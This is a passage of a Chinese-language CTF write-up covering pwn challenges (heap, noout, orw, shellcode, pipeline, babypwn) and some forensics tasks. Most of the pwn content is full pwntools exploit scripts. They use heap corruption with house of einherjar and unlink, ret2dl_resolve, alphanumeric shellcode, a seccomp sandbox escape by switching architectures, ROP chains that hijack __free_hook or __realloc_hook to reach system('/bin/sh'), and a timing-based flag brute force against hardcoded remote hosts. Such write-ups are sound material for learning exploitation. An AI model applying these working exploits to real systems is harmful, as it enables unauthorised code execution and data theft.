def dp(idx):
sla('>>', '2')
sla(':', str(idx))
def rm(idx):
sla('>>', '3')
sla(':', str(idx))
#--------------------------exploit-------------------------- def exploit():
li('exploit...')
for i in range(7): # 0-6
ad(0x1000, "padding\n")
#ad(0x1000-0x210 + 0x70 , "padding\n") # 7 glibc 2.29
ad(0x1000-0x210 + 0x70 -0x40, "padding\n") # 7 glibc 2.31
for i in range(7): # 8-14
ad(0x28, 't\n')
ad(0x1b20, "largebin\n") # 15
ad(0x20, "padding\n") # 16
rm(15)
ad(0x2000, '\n') # 15
ad(0x28, p64(0) + p64(0x601) + b'\n') # idx:17 get a chunk from largebin
ad(0x28, 'a\n') # 18
ad(0x28, 'b\n') # 19
ad(0x38 + 0x300, 'c\n') # 20
ad(0x28, 'd\n') # 21
ad(0x28, 'e\n') # 22 for not merge
# fill in tcache_entry[1](size: 0x30)
t = 9
for i in range(7): # 8-14
rm(8 + i)
rm(18) # t
rm(20)
rm(21)
# clear tcache_entry[1](size: 0x30)
for i in range(7): # 8-14
ad(0x28, '\n')
# fastbin to smallbin
ad(0x450, '\n') #18
# get a chunk from smallbin , another smallbin chunk to tcache
# 20, change fake chunk's fd->bk to point to fake chunk
ad(0x28, b'\x03' + b'\x00' * 7 + b'\n')
# clear chunk from tcache
ad(0x28, 'clear\n') # 21
for i in range(7): # 8-14
rm(8 + i)
# free to fastbin
rm(19)
rm(17)
for i in range(7): # 8-14
ad(0x28, '\n')
# change fake chunk's bk->fd
ad(0x28, b'\n') # 17
# Make house of einherjar
rm(18)
for i in range(6): # 8-14
rm(8 + i)
ad(0x170, '\n') # 8
ad(0x450, '\n') # 9
ad(0x60, '\n') # 10
rm(8)
ad(0x177, b'\x00' * 0x177) # 8
rm(8)
ad(0x177, (b'\x00' * 0x16f) + b'\x06' + b'\n') # 8
# unlink
rm(9)
# leak libc
ad(0x430, '\n') # 9
dp(22)
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['__malloc_hook'] - 0x10 - 96
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
li('libc_base: ' + hex(libc_base))
#ad(0x17, p64(free_hook) + b'\n')
for i in range(3):
ad(0x28, b'\n')
rm(20) #
rm(0) # for clean
rm(1) # for clean
ad(0x18, '/bin/sh\n')
rm(9) #
ad(0x430, b'A' * 0x400 + p64(free_hook) + p64(0) + b'\n')
ad(0x28, '\n')
ad(0x28, p64(system) + b'\n')
db()
rm(0)
# double free
#rm(0)
'''
rm(9)
ad(0x37, b'\x00' + b'\x00' * 0x30 + b'\x50' + b'\n')
'''
def finish():
ia()
c()
#--------------------------main----------------------------- if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
exploit()
finish()
### noout
没有打印函数，通过’\x00’字节绕过字符串比较
__sighandler_t sub_8049424()
{
__sighandler_t result; // eax
char src[32]; // [esp+Ch] [ebp-5Ch] BYREF
char buf[48]; // [esp+2Ch] [ebp-3Ch] BYREF
const char *v3; // [esp+5Ch] [ebp-Ch]
init_();
v3 = "tell me some thing";
read(0, buf, 0x30u);
v3 = "Tell me your name:\n";
read(0, src, 0x20u);
sub_80493EC(src);
strcpy(dest, src);
v3 = "now give you the flag\n";
read(unk_804C080, src, 0x10u);
result = (__sighandler_t)str_cmp(src, off_804C034);// 字符串比较
if ( !result )
result = sub_8049269();
return result;
}
再利用计算错误抛出SIGFPE信号使调用漏洞函数
__sighandler_t sub_8049269()
{
__sighandler_t result; // eax
void (*v1)(int); // [esp+0h] [ebp-18h] BYREF
int v2[2]; // [esp+4h] [ebp-14h] BYREF
const char *v3; // [esp+Ch] [ebp-Ch]
v3 = "give me the soul:";
__isoc99_scanf("%d", v2);
v3 = "give me the egg:";
__isoc99_scanf("%d", &v1);
result = v1;
if ( v1 )
{
signal(8, (__sighandler_t)vuln); // set handler
// SIGFPE 表示一个算数运算异常
v2[1] = v2[0] / (int)v1; // 使运算异常调用漏洞函数
result = signal(8, 0);
}
return result;
}
ssize_t vuln()
{
char buf[68]; // [esp+0h] [ebp-48h] BYREF
return read(0, buf, 0x100u); // stack overflow
}
漏洞函数中就是简单的堆栈溢出了，采用dl_runtime_resolve攻击。
#### exp
#!/usr/bin/env python2
#-*- coding:utf-8 -*- # Author: i0gan
from pwn import *
from roputils import ROP
import os
# roputils: https://github.com/inaz2/roputils/blob/master/roputils.py
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'
elf_path = './test'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc.so.6'
# remote server ip and port
host = "39.105.138.97:1234"
# if local debug
LOCAL = 0
LIBC = 0
#--------------------------func----------------------------- def db():
if(LOCAL):
gdb.attach(io)
#--------------------------exploit-------------------------- def exploit():
li('exploit...')
s('\x00' * 0x30)
#db()
# make calc error
s('\x00' * 0x20)
sl(str(-0xcccccccc))
#db()
sl(str(-1))
# vuln, stack overflow
rop = ROP(elf_path)
buf = elf.bss()
pop3 = 0x08049581
p = b'\x00' * 0x4C
p += p32(elf.sym['read'])
p += p32(pop3)
p += p32(0)
p += p32(buf)
p += p32(0x80)
p += rop.dl_resolve_call(buf + 0x10, buf, 0, 0) # call, args
sleep(0.5)
s(p)
# dl resolve data
p = '/bin/sh\x00'.ljust(0x10, '\x00')
p += rop.dl_resolve_data(buf + 0x10, 'execve')
p = p.ljust(0x80, '\x00')
sleep(1)
sl(p)
#sleep(0.1)
#sl(p)
def finish():
ia()
c()
#--------------------------main----------------------------- if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
exploit()
finish()
### orw
一个伪heap题，开启了沙箱，编辑和打印功能没有，只能开辟两次堆，释放一次，没办法进行堆操作。
存在个index 负数溢出，可以实现修改got表，为堆地址。
__int64 sub_E44()
{
int idx; // [rsp+0h] [rbp-10h]
int size; // [rsp+4h] [rbp-Ch]
if ( add_nums <= 1 )
{
puts("index:");
idx = inputn();
puts("size:");
size = inputn();
if ( size >= 0 && size <= 8 && idx <= 1 ) // index overflow
{
bufs[idx] = malloc(size);
if ( !bufs[idx] )
{
puts("error");
exit(0);
}
puts("content:");
readn((_BYTE *)bufs[idx], size);
++add_nums;
}
}
return add_nums;
}
查看程序架构
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
checksec发现存在rwx段，但发现是stack上的，想了半天没想通如何跳到堆栈那里去。
试试在堆上写shellcode，然后index溢出漏洞修改atoi的got地址为shellcode堆地址，跳到堆中执行指令，然而发现远程能执行，但自己本地不行，接下来就是orw的汇编指令编写了。
#### exp
#!/usr/bin/env python
#-*- coding:utf-8 -*- # Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
elf_path = './pwn'
libc_path = './libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
# remote server ip and port
host = "39.105.131.68:12354"
#io = process(elf_path, env = {'LD_PRELOAD': libc_path})
io = remote(host.split(':')[0], int(host.split(':')[1]))
libc = ELF(libc_path)
#--------------------------func----------------------------- def db():
gdb.attach(io)
def ad(idx, sz, d):
sla('>>', '1')
sla(':', str(idx))
sla(':', str(sz))
sa(':', d)
def dp(idx):
sla('>>', '1')
def md():
sla('>>', '1')
def rm(idx):
sla('>>', '4')
sla(':', str(idx))
#--------------------------exploit-------------------------- def exploit():
li('exploit...')
#for i in range(2):
# wirte
code = '''
lea r15, [rip + 0xf9] /* buf */
mov rdi, r15 /*buf*/
mov rsi, 0x0
mov rdx, 0x0
mov rax, 2
syscall
/*read*/
mov rdi, 3
mov rsi, r15
mov rdx, 0x100
mov rax, 0
syscall
/*write*/
mov rdi, 1
mov rax, 1
syscall
'''
p = asm(code, arch = 'amd64')
p = p.ljust(0x100, b'\x00')
p += b'./flag\x00'
ad(-14, 0, p + b'\n')
# db()
# call
sla('>>', '4')
def finish():
ia()
c()
exploit()
finish()
### shellcode
沙箱检查如下
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x06 0x00 0x00000005 if (A == fstat) goto 0008
0002: 0x15 0x05 0x00 0x00000025 if (A == alarm) goto 0008
0003: 0x15 0x03 0x00 0x00000004 if (A == stat) goto 0007
0004: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0008
0005: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0008
0006: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
输入的shellcode有检查
for ( i = 0; i < v6; ++i )
{
if ( v4[i] <= 31 || v4[i] == '\x7F' )
goto LABEL_10;
}
也就是机器码字符小于等于’\x31’的就退出或等于’\x7f’，我们可以采用alpha3工具将机器码生成可显示字符，当然这个工具有限制，机器码不能出现’\x00’，通过调试发现，shellcode的基址存放在rbx上，我们先实现一个输入的shellcode，避免后续不会再进行shellcode过滤。
code = '''
mov r15, rbx
xor rdx, rdx
add dx, 0x1080
mov rsi, r15
add si, 0x120
xor rax, rax
syscall
jmp rsi
'''
在原来的shellcode + 0x120处实现输入，再跳到那个地方去。
采用alpha3工具生成可显示shellcode如下
Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M144x8k1L0I3z2m4p4N4p0Y1O3c8L2k4u4v2t0O1L0A400V044p3E0c
当然我也写了个函数方便修改。
def gen_code():
fd = open('sc.bin', 'wb')
code = '''
mov r15, rbx
xor rdx, rdx
add dx, 0x1080
mov rsi, r15
add si, 0x120
xor rax, rax
syscall
jmp rsi
'''
p = asm(code, arch = 'amd64')
fd.write(p)
fd.close()
cmd = '~/share/ctf/alpha3/ALPHA3.py x64 ascii mixedcase rbx --input="./sc.bin"'
p = os.popen(cmd).read()
print('shellcode: ' + p)
return p
然而这个题禁用函数太多了，open和write也禁了，只能切换到32位架构来实现部分绕过了，为了方便实现堆栈，指令储存，我重新申请了个地址段，方便后续实现架构切换方便与数据写入等。
code = '''
/*mmap*/
mov r9d, 0 /* off */
mov r8d, 0xFFFFFFFF /* fd */
mov r10d, 0x22 /* flags */
mov edx, 7 /* prot */
mov esi, 0x1000 /* len */
mov edi, 0x20000 /* addr */
mov eax, 9
syscall
/*read 32 shellcode*/
xor rax, rax
mov edi, 0
mov esi, 0x20000
mov edx, 0x1000
syscall
/*retf to 32*/
mov rax, 0x2300020000
push rax
'''
p = asm(code, arch = 'amd64')
p += b'\xCB' # retf
上面是实现向我们开辟到的内存写入数据，再从64位架构切换到32为且跳到我们开辟的内存段中。
后面就是写32位的asm
code了，然而我发现，在32位下，只有一个有用的函数能调用，就是open函数，其他的read，write这些都不能调用了，这又使得重新回到64位下实现读入flag。
code = '''
mov esp, 0x20a00
/*open*/
mov eax, 5
mov ebx, 0x20020
xor ecx, ecx
xor edx, edx
int 0x80
/*retf to 64*/
push 0x33
push 0x20030
'''
db()
p = asm(code, arch = 'i386')
p += b'\xCB' # retf
p = p.ljust(0x20, b'\x90')
p += b'./flag\x00'
p = p.ljust(0x30, b'\x90')
code = '''
xor rax, rax
mov edi, 3
mov rsi, rsp
mov edx, 0x100
syscall
'''
由于不能使用write的系统调用，只能采用延时爆破了
if idx == 0:
code += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(idx, ch)
else:
code += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(idx, ch)
idx为读入的字符偏移，ch是我们猜测的字符，若想等，就进入死循环，否则就退出。
通过时间来判断是否想等。
总结:
这个题确实有点坑，shellcode必须为可显字符，后面绕过了，只能用少量的系统函数，64位架构时，只能使用read, mmap,
fstat，我还以为切换架构到32位可以绕过syscall检测，想不到只允许调用open，
其他的read和write都不行，又重新切换到64位来执行read，再采用爆破读出来。
#### exp
#!/usr/bin/env python
#-*- coding:utf-8 -*- # Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
#context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'
elf_path = './shellcode'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc.so.6'
# remote server ip and port
host = "39.105.137.118:50050"
# if local debug
LOCAL = 0
LIBC = 0
#--------------------------func----------------------------- def db():
if(LOCAL):
gdb.attach(io)
def gen_code():
fd = open('sc.bin', 'wb')
code = '''
mov r15, rbx
xor rdx, rdx
add dx, 0x1080
mov rsi, r15
add si, 0x120
xor rax, rax
syscall
jmp rsi
'''
p = asm(code, arch = 'amd64')
fd.write(p)
fd.close()
cmd = '~/share/ctf/alpha3/ALPHA3.py x64 ascii mixedcase rbx --input="./sc.bin"'
p = os.popen(cmd).read()
print('shellcode: ' + p)
return p
#--------------------------exploit-------------------------- # ref: https://www.yuque.com/chenguangzhongdeyimoxiao/xx6p74/tqpsqr
# ref: https://blog.csdn.net/SmalOSnail/article/details/105236336
# ref: http://blog.leanote.com/post/xp0int/%5BPwn%5D-Steak-cpt.shao
# ref: https://zhuanlan.zhihu.com/p/57648345
# ~/share/ctf/alpha3/ALPHA3.py x64 ascii mixedcase rbx --input="sc.bin" > o
def exploit(idx, ch):
li('exploit...')
'''
git clone https://github.com/TaQini/alpha3.git
cd alpha3
python ./ALPHA3.py x64 ascii mixedcase rax --input="sc.bin"
rax: shellcode base_address
'''
# python ./ALPHA3.py x64 ascii mixedcase rax --input="sc.bin"
#p = gen_code()
p = 'Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M144x8k1L0I3z2m4p4N4p0Y1O3c8L2k4u4v2t0O1L0A400V044p3E0c'
s(p)
code = '''
/*mmap*/
mov r9d, 0 /* off */
mov r8d, 0xFFFFFFFF /* fd */
mov r10d, 0x22 /* flags */
mov edx, 7 /* prot */
mov esi, 0x1000 /* len */
mov edi, 0x20000 /* addr */
mov eax, 9
syscall
/*read 32 shellcode*/
xor rax, rax
mov edi, 0
mov esi, 0x20000
mov edx, 0x1000
syscall
/*retf to 32*/
mov rax, 0x2300020000
push rax
'''
p = asm(code, arch = 'amd64')
p += b'\xCB' # retf
#p += p32(0x400000) + p32(0x23) # ret addr + 0x23:32bit sign
sleep(0.01)
s(p)
code = '''
mov esp, 0x20a00
/*open*/
mov eax, 5
mov ebx, 0x20020
xor ecx, ecx
xor edx, edx
int 0x80
/*retf to 64*/
push 0x33
push 0x20030
'''
db()
p = asm(code, arch = 'i386')
p += b'\xCB' # retf
p = p.ljust(0x20, b'\x90')
p += b'./flag\x00'
p = p.ljust(0x30, b'\x90')
code = '''
xor rax, rax
mov edi, 3
mov rsi, rsp
mov edx, 0x100
syscall
'''
if idx == 0:
code += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(idx, ch)
else:
code += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(idx, ch)
p += asm(code, arch = 'amd64')
sleep(0.01)
s(p)
start = time.time()
try:
io.recv(timeout = 2)
except:
pass
end = time.time()
if (end - start > 1.5):
return ch
else:
return None
def finish():
ia()
c()
#--------------------------main----------------------------- if __name__ == '__main__':
flag = ''
idx = 3
while True:
for ch in range(0x20, 127):
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
ret = exploit(idx, ch)
if(ret != None):
li('found: ' + chr(ch))
flag += chr(ch)
li('flag: ' + flag)
idx += 1
io.close()
### pipeline
没有free函数，通过设置大小为0即可实现释放内存功能。
找了偏移，chunk头部链表逻辑，没有发现漏洞，在编辑数据的功能中，发现了个整型溢出漏洞。
漏洞点
_QWORD *edit_body()
{
_QWORD *result; // rax
int size; // eax
int index; // [rsp+10h] [rbp-10h]
int v3; // [rsp+14h] [rbp-Ch]
_QWORD *buf; // [rsp+18h] [rbp-8h]
index = print("index: ");
result = (_QWORD *)get_buf(index);
buf = result;
if ( result )
{
result = (_QWORD *)*result;
if ( *buf )
{
v3 = print("size: ");
printf("data: ");
size = *((_DWORD *)buf + 3) - *((_DWORD *)buf + 2);// size - offset
if ( v3 <= size )
LOWORD(size) = v3; // vul
result = (_QWORD *)readn(*buf + *((int *)buf + 2), size);
}
}
return result;
}
一个整性溢出，因为采用`LOWORD(size) =
v3;`进行赋值的，当我输入负数绕过判断，若LOWORD(v3)中的值为大于size本身值，即可实现溢出，那么就很好利用了。实现了任意地址写入，但有个检查
unsigned __int64 __fastcall check_error(unsigned __int64 ptr)
{
unsigned __int64 result; // rax
if ( ptr < *(_QWORD *)check_mem_buf
|| (result = *(_QWORD *)check_mem_buf + *(_QWORD *)(check_mem_buf + 8), ptr >= result) )
{
puts("error");
exit(0);
}
return result;
}
而check_mem_buf的值在初始化的时候赋予了
unsigned int init_()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
check_mem_buf = (__int64)malloc(0x10uLL);
*(_QWORD *)check_mem_buf = check_mem_buf + 16;
*(_QWORD *)(check_mem_buf + 8) = 0x21000LL; // memsize
return alarm(0x78u);
}
基本上我们只能在堆段中实现任意地址写入了，这也比较好绕过，每个编辑功能都有个head
chunk，修改head中的body指针，就可以实现任意地址写入数据了。
修改`__realloc_hook`为system，再调用realloc函数即可调用system。
#### exp
#!/usr/bin/env python3
#-*- coding:utf-8 -*- # Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'
elf_path = 'pipeline'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
# remote server ip and port
host = "59.110.173.239:2399"
# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func----------------------------- def db():
if(LOCAL):
gdb.attach(io)
def ad():
sla('>>', '1')
def md(idx, of, sz):
sla('>>', '2')
sla(':', str(idx))
sla(':', str(of))
sla(':', str(sz))
def rm(idx):
sla('>>', '3')
sla(':', str(idx))
def ap(idx, sz, d):
sla('>>', '4')
sla(':', str(idx))
sla(':', str(sz))
sa(':', d)
def dp(idx):
sla('>>', '5')
sla(':', str(idx))
#--------------------------exploit-------------------------- def exploit():
li('exploit...')
# leak libc
ad()
md(0, 0, 0x458)
ad()
md(0, 0, 0) # free
md(0, 0, 0x458) # add
dp(0)
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['__malloc_hook'] - 96 - 0x10
li('libc_base: ' + hex(libc_base))
# leak heap
md(0, 0, 0) # free
md(0, 0, 0x18) # add
md(1, 0, 0x18) # add
#ap(0, -1, 'A')
ap(0, 0x18, b'A' * 0x10 + p64(0x1234))
md(0, 0, 0) # free
md(1, 0, 0) # free
md(0, 0, 0x18) # add
dp(0)
ru('data: ')
leak = u64(ru('\n').ljust(8, b'\x00'))
heap = leak
li('heap: ' + hex(heap))
ad()
md(1, 0x18, 0) # add 1
md(2, 0x18, 0) # add 2
ad()
md(3, 0x18, 0) # add 3
md(2, 0, 0) # free 2
md(3, 0, 0) # free 3
md(1, 0, 0) # free 1
li('target_chunk: ' + hex(heap + 0x460))
p = b'\x00' * 0x18
p += p64(0x21) + p64(heap + 0x460) + p64(0)
p += b'\n'
ap(0, -0x7ffff00, p)
md(3, 0, 0x18) # add 3
md(2, 0, 0x18) # add 2
p = p64(libc_base + libc.sym['__realloc_hook']) + p64(0x0000001800000000)
p += b'\n'
ap(2, 0x18, p)
ap(1, 0x18, p64(libc_base + libc.sym['system']) + b'\n')
ap(0, 0x18, '/bin/sh\x00\n')
md(0, 0, 0) # free , to get shell
def finish():
ia()
c()
#--------------------------main----------------------------- if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
exploit()
finish()
### babypwn
这个题也是个坑，打印函数采用加密
int __fastcall enc_print(unsigned int a1)
{
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 2; i > 0; --i )
a1 ^= (32 * a1) ^ ((a1 ^ (32 * a1)) >> 17) ^ (((32 * a1) ^ a1 ^ ((a1 ^ (32 * a1)) >> 17)) << 13);
return printf("%lx\n", a1);
}
采用z3库来解，只能解一次循环加密的，第二次循环的解不出来，只能不用该条件了。
漏洞点
unsigned __int64 __fastcall chc(_BYTE *a1)
{
unsigned __int64 ch_; // rax
while ( 1 )
{
ch_ = (unsigned __int8)*a1;
if ( !(_BYTE)ch_ )
break;
if ( *a1 == '\x11' ) // vul
{
ch_ = (unsigned __int64)a1;
*a1 = 0;
return ch_;
}
++a1;
}
return ch_;
}
在输入完数据后，会死循环读取数据，若出现’\x00’则跳出，若出现’\x11’修改该字节为’\x00’且跳出循环。这利用方式就跟off by
one差不多了。
程序开了沙箱
__int64 sub_BAA()
{
__int64 v1; // [rsp+8h] [rbp-8h]
v1 = seccomp_init(2147418112LL);
seccomp_rule_add(v1, 0LL, 59LL, 0LL);
return seccomp_load(v1);
}
前期我以为程序是在2.31下的利用方式，我一直在glibc 为2.31的环境下调试，怎么都不好构造绕过prev_size ==
chunk_size这个检查，查看libc.so.6，发现为2.27的。。。醉了。
那就很方便的采用unlink构造堆重叠，由于没有办法解密上面那个泄漏的数据，只能partial
write打到`_IO_2_1_stdout`泄漏libc，打通几率1 / 16，
泄漏之后，然后劫持`__free_hook`为setcontext + 53处的gadget实现堆栈迁移值 `__free_hook -0x108`处，这里我是放在`__free_hook`高地址位置的，本地能打通，远程死活打不通，我只调用write函数能够泄漏地址信息，应该是某些部分数据被覆盖，导致我的rop链破坏了，只能将rop放在`__free_hook`上面。
#### exp
#!/usr/bin/env python
#-*- coding:utf-8 -*- # Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'
elf_path = './babypwn'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc_path = './libc.so.6'
# remote server ip and port
host = "39.105.130.158:8888"
# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func----------------------------- def db():
if(LOCAL):
gdb.attach(io)
def ad(sz):
sla('>>', '1')
sla(':', str(sz))
def rm(idx):
sla('>>', '2')
sla(':', str(idx))
def md(idx, d):
sla('>>', '3')
sla(':', str(idx))
sa(':', d)
def dp(idx):
sla('>>', '4')
sla(':', str(idx))
#--------------------------exploit-------------------------- def exploit():
li('exploit...')
ad(0x108) # 0
ad(0x128) # 1
ad(0x118) # 2
ad(0x108) # 3
for i in range(7):
ad(0x100)
for i in range(4, 11):
rm(i)
for i in range(7):
ad(0xf0)
for i in range(4, 11):
rm(i)
rm(0) # set libc
md(2, 'A' * 0x118) # set last one
md(2, b'A' * 0x110 + p64(0x120 + 0x130 + 0x110))
md(3, b'A' * 0xf8 + p64(0x121)) # set fake size
rm(3) # unlink
ad(0x108) # 0
ad(0x108) # 3
ad(0x108) # 4
ad(0x108) # 5
ad(0x108) # 7
ad(0x108) # 8
ad(0x108) # 9
rm(2) # remove chunk1
ad(0xd0) # 2
ad(0x150) # 9
ad(0x130) # 10
#2760
md(10, '\x50\x97') # set to stdout
ad(0x118) # 11
ad(0x118) # 12
p = b'A' * 0x10
p += p64(0xfbad3c80) + p64(0) * 3 + p8(0)
md(12, p)
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - (0x7ffff7b8a8b0 - 0x7ffff779d000)
li('libc_base: ' + hex(libc_base))
rm(11)
md(10, p64(libc_base + libc.sym['__free_hook'] - 0x110))
ad(0x130) # 11
ad(0x130) # 13
libc_open = libc_base + libc.sym['open']
libc_read = libc_base + libc.sym['read']
libc_write = libc_base + libc.sym['write']
pop_rdx_rsi = libc_base + 0x00000000001306d9 # pop rdx ; pop rsi ; ret
pop_rdi = libc_base + 0x000000000002155f # pop rdi ; ret
ret = libc_base + 0x00000000000008aa # ret
pop_rax = libc_base + 0x00000000000439c8 # pop rax ; ret
syscall = libc_base + 0x11007f
'''
p = p64(libc_base + 0x520a5) # setcontext
p += p64(pop_rdi) + p64(libc_base + libc.sym['__free_hook'] + 0x120)
p += p64(pop_rdx_rsi) + p64(0) + p64(0)
p += p64(libc_open)
p += p64(pop_rdi) + p64(3)
p += p64(pop_rdx_rsi) + p64(0x100) + p64(libc_base + libc.sym['__malloc_hook'])
p += p64(libc_read)
p += p64(pop_rdi) + p64(1)
p += p64(libc_write)
p = p.ljust(0x120, b'\x00')
p += b'./flag'
'''
p = p64(pop_rdi) + p64(libc_base + libc.sym['__free_hook'] - 0x10) # flag
p += p64(pop_rdx_rsi) + p64(0) + p64(0)
p += p64(pop_rax) + p64(2)
p += p64(syscall)
p += p64(pop_rdi) + p64(3)
p += p64(pop_rdx_rsi) + p64(0x100) + p64(libc_base + libc.sym['__malloc_hook'])
p += p64(pop_rax) + p64(0)
p += p64(syscall)
p += p64(pop_rdi) + p64(1)
p += p64(pop_rax) + p64(1)
p += p64(syscall)
p = p.ljust(0x100, b'\x00')
p += b'./flag.txt\x00'.ljust(0x10, b'\x00')
p += p64(libc_base + 0x520a5) # setcontext
md(13, p) # modify free_hook
p = b'A' * 0xa0
p += p64(libc_base + libc.sym['__free_hook'] - 0x110) # rsp
p += p64(ret) # rcx
md(11, p)
db()
rm(11)
def finish():
ia()
c()
#--------------------------main----------------------------- if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
#io = elf.process()
io = process(elf_path, env = {'LD_PREALOAD': libc_path})
else:
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
exploit()
finish()
## Misc
### BlueTeaming
看文件头是7z,解压后得到memory,看题目要找关于powershell的脚本的注册表key,windows下应该是HKEY
如下图:
尝试用HxD搜索关键词powershell,HKEY,发现还真有….
尝试一下确实是这个….但真的吐槽一下,没有格式确实难找…..上午就看到了,晚上才想起来试
### CipherMan
取证题,一个secret,用diskgenius挂载了一下发现有密码
用打蓝帽申请的取证大师看了一下memory:
(由于没有有效文件名,这时候我们可以规定为raw,这样就能用取证大师打开)
搜索bek文件,并没有
在desktop中发现:
<https://windows10.pro/forget-bitlocker-password-unlocking-with-recovery-keys/>
和这个对比了一下,应该是密钥,但是打开是乱码,到现在我也不知道怎么解决这个问题….这条路没走通,于是想着猜一下不太合理的字符串,比如bitlocker对应的序列号.
将文件按照访问时间排序,一个一个看:
Wow, you have a great ability. How did you solve this? Are you a hacker? Please give me a lesson later.
算是非预期把….试出来的…..flag长这样我也没想到…
### ExtremelySlow
由pcapng可以导出一个pyc:
尝试在线反编译,发现有部分不能显示,让re手看了一下,
得到:
Instruction context:
L. 56 262 LOAD_NAME print
264 LOAD_NAME e
266 LOAD_METHOD decode
268 CALL_METHOD_0 0 ''
270 CALL_FUNCTION_1 1 ''
272 POP_TOP
-> 274 LOAD_CONST None
# file latest.pyc
# --- This code section failed: ---
L. 3 0 LOAD_CONST 0
2 LOAD_CONST None
